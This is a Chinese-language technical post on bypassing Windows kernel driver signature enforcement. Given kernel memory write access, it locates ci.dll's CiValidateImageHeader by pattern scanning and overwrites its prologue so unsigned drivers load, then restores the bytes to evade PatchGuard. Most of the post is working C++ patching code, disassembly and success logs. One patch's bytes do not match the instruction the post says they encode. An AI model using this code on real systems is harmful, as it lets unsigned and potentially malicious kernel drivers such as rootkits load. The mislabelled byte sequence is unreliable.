首先你得有任意内存读写的能力,然后就是通过各种手段获得内核的cr3用来操作内核的虚拟地址,总之就是得有读写内核内存的能力
这种方法开了kvm可以用,但是hvci就不行了,咱们最多也就r0的权限,hvci这种r-1的东西会阻止你写内核内存
只讨论过系统签名验证的过程,驱动隐藏跟这个没关系不在讨论范围
0x00 原理
win内核负责验证签名的函数是ci.dll的CiValidateImageHeader函数,但是他不直接导出,所以我们得通过一些间接的方法拿到它的地址.
内核在初始化的时候调用ci.dll!CiInitialize函数,这个函数是内部CipInitialize函数的封装.在CipInitialize里动态绑定到传进来的SeCiCallback+0x20处,这样后续内核就能通过SeCiCallback+0x20来调用这个函数了.
理论上可以修改SeCiCallback+0x20这个地方保存的指针给他转到一个永真的内核函数上,但是SeCiCallback这个指针他自己也不导出,交叉引用涉及到的函数离可获取地址的导出函数调用距离都挺长的,特征码不好搜,所以不从这入手
我们patch cidll里这个函数的实现位置让它返回success就行了.
逻辑大概是先在ntoskrnl.exe导入表找到 ci.dll的CiInitialize函数地址,然后在这块虚拟地址往下暴搜5f c3字节序列函数尾声(pop rdi,retn)指令,如果找到了就在pop指令处-24字节偏移处查找是否是0xE8(call),然后从call后读出uint32的偏移,
给call所在地址+5+偏移得到CipInitialize函数的地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ; 函数名:CiInitialize fffff805`7e5d39c0 48895c2408 mov qword ptr [rsp+8], rbx fffff805`7e5d39c5 48896c2410 mov qword ptr [rsp+10h], rbp fffff805`7e5d39ca 4889742418 mov qword ptr [rsp+18h], rsi fffff805`7e5d39cf 57 push rdi fffff805`7e5d39d0 4883ec30 sub rsp, 30h fffff805`7e5d39d4 498bd9 mov rbx, r9 fffff805`7e5d39d7 418bf8 mov edi, r8d fffff805`7e5d39da 488bf2 mov rsi, rdx fffff805`7e5d39dd 8be9 mov ebp, ecx fffff805`7e5d39df e824160a00 call FFFFF8057E675008 ; __security_init_cookie fffff805`7e5d39e4 488b442460 mov rax, qword ptr [rsp+60h] fffff805`7e5d39e9 4c8bcb mov r9, rbx fffff805`7e5d39ec 448bc7 mov r8d, edi fffff805`7e5d39ef 4889442420 mov qword ptr [rsp+20h], rax fffff805`7e5d39f4 488bd6 mov rdx, rsi fffff805`7e5d39f7 8bcd mov ecx, ebp fffff805`7e5d39f9 e84e110000 call FFFFF8057E5D4B4C ; CipInitialize函数地址 fffff805`7e5d39fe 488b5c2440 mov rbx, qword ptr [rsp+40h] fffff805`7e5d3a03 488b6c2448 mov rbp, qword ptr [rsp+48h] fffff805`7e5d3a08 488b742450 mov rsi, qword ptr [rsp+50h] fffff805`7e5d3a0d 4883c430 add rsp, 30h fffff805`7e5d3a11 5f pop rdi fffff805`7e5d3a12 c3 ret ; 函数尾声用来做特征码
|
然后就是去CipInitialize里找给SeCiCallback绑函数的过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ; 函数名:CipInitialize ,略去上面的代码 fffff805`7e5d4d7a 0fba2d8ec2ffff0f bts dword ptr [0FFFFF8057E5D1010h], 0Fh ; 以下是绑定过程 fffff805`7e5d4d82 488d0517560000 lea rax, [0FFFFF8057E5DA3A0h] ; CiValidateImageHeader函数地址 fffff805`7e5d4d89 48894320 mov qword ptr [rbx+20h], rax ; 绑定到SeCiCallback+20 fffff805`7e5d4d8d 488d05ac930300 lea rax, [0FFFFF8057E60E140h] fffff805`7e5d4d94 48894328 mov qword ptr [rbx+28h], rax fffff805`7e5d4d98 488d05a12a0800 lea rax, [0FFFFF8057E657840h] fffff805`7e5d4d9f 48894318 mov qword ptr [rbx+18h], rax fffff805`7e5d4da3 488d0516380800 lea rax, [0FFFFF8057E6585C0h] fffff805`7e5d4daa 48894308 mov qword ptr [rbx+8], rax fffff805`7e5d4dae 488d05cb370800 lea rax, [0FFFFF8057E658580h] fffff805`7e5d4db5 48894310 mov qword ptr [rbx+10h], rax fffff805`7e5d4db9 488d05c0ebffff lea rax, [0FFFFF8057E5D3980h]
|
暴搜48 8D 05(lea rax,xxx),如果找到就在这个偏移处+7看是不是48 89 43 20(mov [rbx+20h], rax),如果这个也确定了那么在lea rax所在偏移处+3读取uint32字节的偏移再+7就是CiValidateImageHeader函数的地址.
然后先保存CiValidateImageHeader开头的四字节指令,替换成48 30 c0 c3(xor rax,rax;ret)
加载好后要迅速把值改回去,不然会触发patchguard蓝屏.
0x01关键代码
关键实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| static ULONG64 s_CiValImgVA = 0;
static BYTE s_CiValImgOrig[4];
bool DisableDriverSignature() { ULONG64 ciInit = GetImportedDllFunctionViaIDT(L"ci.dll", L"CiInitialize"); if (!ciInit) { LOG_ERR("DisableDriverSignature: CiInitialize not found"); return false; } LOG_OK("CiInitialize = 0x%llX", ciInit);
BYTE buf[0x1000]; ULONG64 cipInit = 0;
for (ULONG64 scan = ciInit & ~0xFFFULL; scan < ciInit + 0x1000; scan += 0x1000) { if (!KVMRead(scan, buf, sizeof(buf))) continue; ULONG64 base = scan; for (int i = 0; i + 1 < (int)sizeof(buf); i++) { if (buf[i] == 0x5F && buf[i + 1] == 0xC3) { ULONG64 popAddr = base + i; if (popAddr < ciInit) continue; if (popAddr - 24 < base) continue;
int callOff = i - 24; if (buf[callOff] != 0xE8) continue;
INT32 disp = *(INT32*)(buf + callOff + 1); cipInit = popAddr - 24 + 5 + disp; LOG_OK("CipInitialize = 0x%llX", cipInit); goto foundCip; } } } foundCip: if (!cipInit) { LOG_ERR("DisableDriverSignature: CipInitialize not found"); return false; }
ULONG64 ciValImg = 0;
for (ULONG64 scan = cipInit & ~0xFFFULL; scan < cipInit + 0x4000; scan += 0x1000) { if (!KVMRead(scan, buf, sizeof(buf))) continue; ULONG64 base = scan; for (size_t i = 0; i + 10 < sizeof(buf); i++) { if (buf[i] == 0x48 && buf[i + 1] == 0x8D && buf[i + 2] == 0x05) { if (i + 10 >= sizeof(buf)) continue; if (buf[i + 7] != 0x48 || buf[i + 8] != 0x89 || buf[i + 9] != 0x43 || buf[i + 10] != 0x20) continue;
INT32 disp = *(INT32*)(buf + i + 3); ciValImg = base + i + disp + 7; LOG_OK("CiValidateImageHeader = 0x%llX", ciValImg); goto foundVal; } } } foundVal: if (!ciValImg) { LOG_ERR("DisableDriverSignature: CiValidateImageHeader not found"); return false; }
s_CiValImgVA = ciValImg; if (!KVMRead(s_CiValImgVA, s_CiValImgOrig, sizeof(s_CiValImgOrig))) { LOG_ERR("DisableDriverSignature: failed to read CiValidateImageHeader prologue"); return false; } LOG_INFO("CiValidateImageHeader orig bytes: %02X %02X %02X %02X", s_CiValImgOrig[0], s_CiValImgOrig[1], s_CiValImgOrig[2], s_CiValImgOrig[3]);
BYTE patch[4] = { 0x48, 0x30, 0xC0, 0xC3 }; if (!KVMWrite(s_CiValImgVA, patch, sizeof(patch))) { LOG_ERR("DisableDriverSignature: failed to patch CiValidateImageHeader"); return false; } LOG_OK("Driver signature enforcement DISABLED"); return true; }
bool RestoreDriverSignature() { if (!s_CiValImgVA) return false; if (!KVMWrite(s_CiValImgVA, s_CiValImgOrig, sizeof(s_CiValImgOrig))) { LOG_ERR("RestoreDriverSignature: failed to restore"); return false; } LOG_OK("Driver signature enforcement RESTORED"); return true; }
|
0x02 效果
1 2 3 4 5 6 7 8
| [*] Searching import table for 'ci.dll!CiInitialize'... [+] Found 'ci.dll' import descriptor at index 18 [+] 'ci.dll!CiInitialize' = 0xFFFFF8057E5D39C0 [+] CiInitialize = 0xFFFFF8057E5D39C0 [+] CipInitialize = 0xFFFFF8057E5D4B4C [+] CiValidateImageHeader = 0xFFFFF8057E5DA3A0 [*] CiValidateImageHeader orig bytes: 48 89 5C 24 [+] Driver signature enforcement DISABLED
|
改好以后加载就行,加载完以后要把内核代码改回去,不影响已加载的驱动
1 2 3 4 5 6 7 8 9 10 11 12
| PS C:\Windows\system32> sudo sc start MyTest
SERVICE_NAME: MyTest TYPE : 1 KERNEL_DRIVER STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PID : 0 FLAGS :
|